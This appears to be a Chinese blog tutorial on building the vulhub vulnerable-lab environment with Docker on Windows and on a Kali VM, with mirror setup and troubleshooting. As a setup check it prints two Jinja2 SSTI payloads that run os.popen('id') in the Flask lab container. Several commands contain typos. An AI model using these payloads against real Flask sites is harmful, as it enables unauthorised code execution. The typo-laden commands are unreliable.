windows結合Docker Desktop搭建vulhub
Docker官網:Docker: Accelerated Container Application Development
打開Docker官網,根據自己的操作系統配置下載相關版本的Docker Desktop。這裏我使用的是最新版本的windows 11,所以選擇AMD64架構的。
因為之前在某國外官方網站下載軟件時,踩過必須註冊賬號才能夠下載相關工具的坑。所以,我選擇了先註冊賬號,然後下載軟件包、登錄賬號的方式。註冊賬號之後看到的界面,然後點擊Go to download的按鈕。
繼續,選擇Docker Desktop for windows的按鈕。
勾選Docker Desktop for windows-x86_64的版本。
下載軟件安裝包之後,到相應的路徑雙擊安裝包。
勾選桌面快捷鍵模式,點擊OK按鈕。
點擊Close按鈕,關閉之後重新打開軟件。
不用仔細看,肯定是用户協議,勾選Accept即可。
Sign in登錄之前註冊的個人賬號,輸入對應的賬號和密碼。隨即提醒我們Proceed to Docker Desktop,我們點擊Proceed to Docker Desktop按鈕即可。注意Sign in的過程可能要掛vpn,否則會斷線。
![
**
點擊Terminal按鈕,根據微軟官方鏈接Install WSL | Microsoft Learn下載配置對應的wsl環境。
git https://github.com/vulhub/vulhub.git
利用git下載vulhub到本地並記住你保存的位置。然後進入vulhub子目錄,隨之進入官方的演示目錄/flask/ssti。如果有人嫌git安裝麻煩的直接Download ZIP一把梭,只需要解壓相關安裝包並重命名vulhub即可。
ssti
按照以下命令啓動或關閉容器環境,先不要使用關閉命令,打完這個靶場看看環境配得對不對。
啓動命令
docker compose pull #windows可選
docker compose up -d
docker ps #-a可選
關閉命令
docker compose down
打開容器環境,瀏覽器輸入url:http://your-ip:8080
利用ssti的探測技巧,發現name參數的的確確存在ssti模板注入。
{{self.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}
最後,打入上方備用的倆個payload即可。
銷燬容器環境,這個靶場可以被有效利用,説明我們搭建的環境沒有問題。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
2eea39d98b2f vulhub/flask:1.1.1 "/bin/sh -c 'gunicor…" 11 minutes ago Up 11 minutes 0.0.0.0:8000->8000/tcp, :::8000->8000/tcp ssti-w
VMware+ kali linux 結合docker 搭建vulhub(推薦)
同windows結合docker 搭建vulhub一樣,打開官方按照提示進行Debian版本的docker下載。
備用鏈接1:Debian | Docker Docs
備用鏈接2:Debian | Docker Docs
sudo apt install gnome-terminal #參考備用鏈接1
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin #參考備用鏈接2
輸入命令行安裝相關依賴。
sudo apt-get update
sudo apt-get upgrate
輸入命令行更新系統軟件。
sudo apt-get install docker.io
輸入命令行安裝docker 鏡像。
查看docker 版本
docker --version
docker version
打開kali時,使docker自動並永久開放。
sudo systemctl enable docker
sudo /lib/system/system-sysv-install enable docker
查看安裝的docker版本,並保持打開kali時docker永久開放。
sudo systemctl status docker.service
查看docker運行時的狀態,主要排查後續會不會出現異常。
sudo docker run hello-world
docker compose version #檢查docker compose 版本
測試docker的功能運行是否正常或合理。
由於我這個版本自帶docker compose ,所以不在對此進行安裝。
方法Ⅰ
wget https://github.com/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master #或者將vulhub-master.zip重命名vulhub.zip並解壓之後,在進入vulhub
方法Ⅱ #推薦,因為方法Ⅰ太慢了
git clone https://github.com/vuhub/vulhub.git
ls
cd vulhub
ls
下載並解壓vulhub,或者直接git命令直接下載。
可以看到vulhub裏支持數百種漏洞進行復現。
ssti
進入演示目錄
cd flask/ssti
啓動環境
docker compose pull
docker compose up -d # 出現異常時-d選項可去,便於查看日誌信息
查看文件
ls
cd src
cat app.py
進入官方演示目錄,啓動環境並查看相關子目錄或文件。
查看開放端口
docker ps
查看ip或存活的主機
Linux環境
hosthome -I
ip a
Windows 環境
ipconfig
查看開放的端口和你的ip。
虛擬機或物理機瀏覽器url輸入http://your-ip:8000,打開靶機環境。
注意如果這裏http://your-ip:8000打不開可能是虛擬機的網絡連接模式不對,推薦使用橋接模式或NAT模式。
這裏我嘗試了NAT模式和自定義VMnet8,但是都沒有成功,所以採用第3種解決方案——橋接模式。
{{self.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()
{{''.__class__.__mro__[1].__subclasses__()[166].__init__.__globals__['sys'].modules['os'].popen('id').read()}}
依舊打入兩個payload。
docker compose down
關閉或銷燬環境。
注意如果不使用vpn配合虛擬機的橋接模式啓動大型靶場,尤其是Java項目和大型數據庫(例如Oracle)項目。或者沒有用國內鏡像進行代理,下面的命令會運行得異常緩慢。當然,由於有些老舊項目和虛擬機的環境存在端口占用、版本衝突、依賴消失、系統異常等問題,建議移步windows版本的Docker或者vulfocus、春秋雲鏡等靶場,否則的自行搭建相關靶場或自己獨立解決相關問題。
docker compose pull
docker compose up -d
額,下載了1000多秒,真夠狠的。所以最後添加一下國內的鏡像代理。
sudo mkdir -p /etc/docker
sudo vi /etc/docker/daemon.json
cat /etc/docker/daemon.json
{
"registry-mirrors": [
"https://docker.sunzishaokao.com",
"https://docker.1ms.run",
"https://docker.1panel.live",
"https://docker.anyhub.us.kg"
]
}
sudo systemctl daemon-reload
sudo systemctl restart docker
sudo systemstl status docker
代理已經設置成功。
詳細的docker信息如下:
docker info
Client:
Version: 27.5.1+dfsg4
Context: default
Debug Mode: false
Plugins:
buildx: Docker Buildx (Docker Inc.)
Version: 0.19.3+ds1
Path: /usr/libexec/docker/cli-plugins/docker-buildx
compose: Docker Compose (Docker Inc.)
Version: v5.0.2
Path: /usr/libexec/docker/cli-plugins/docker-compose
Server:
Containers: 2
Running: 0
Paused: 0
Stopped: 2
Images: 5
Server Version: 27.5.1+dfsg4
Storage Driver: overlay2
Backing Filesystem: extfs
Supports d_type: true
Using metacopy: false
Native Overlay Diff: true
userxattr: false
Logging Driver: json-file
Cgroup Driver: systemd
Cgroup Version: 2
Plugins:
Volume: local
Network: bridge host ipvlan macvlan null overlay
Log: awslogs fluentd gcplogs gelf journald json-file local splunk syslog
Swarm: inactive
Runtimes: io.containerd.runc.v2 runc
Default Runtime: runc
Init Binary: docker-init
containerd version: 1.7.24~ds1-10
runc version: 1.3.3+ds1-2
init version:
Security Options:
apparmor
seccomp
Profile: builtin
cgroupns
Kernel Version: 6.18.5+kali-amd64
Operating System: Kali GNU/Linux Rolling
OSType: linux
Architecture: x86_64
CPUs: 4
Total Memory: 3.793GiB
Name: kali
ID: ff8c0ebd-2523-4688-822b-3847dc37cdfb
Docker Root Dir: /var/lib/docker
Debug Mode: false
Experimental: false
Insecure Registries:
127.0.0.0/8
Registry Mirrors:
https://docker.sunzishaokao.com/
https://docker.1ms.run/
https://docker.1panel.live/
https://docker.anyhub.us.kg/
Live Restore Enabled: false
遇到的一些問題:
啓動成功但端口缺失或端口占用或端口監聽,
解決方案:
查看日誌或者重啓環境。
定位到進程異常碼139。
發現是版本兼容和堆溢出,明顯與依賴缺失也有部分關係。
最後總結一下,整體還是推薦第2種方法,但是由於老舊項目的依賴棄用和系統或軟件版本兼容等問題,會導致部分靶場無法使用。第1種方法如果不會git和wsl的安裝和配置估計自己會搗鼓好久,但是值得高興的是大多數老舊項目的靶場依舊能夠使用,並且方便刪除隨時隨地解決內存問題,不像虛擬機還得設置較高的內存。當然,最終的選擇還是在讀者自己的手裏,筆者只是推薦第2種方法,並且最好復現最近幾年的熱門高危漏洞或嚴重(超危)漏洞,否則遇到相關難題自行解決。
參考文獻:
1.vulhub | kali Linux搭建vulhub靶場(超詳細)-CSDN博客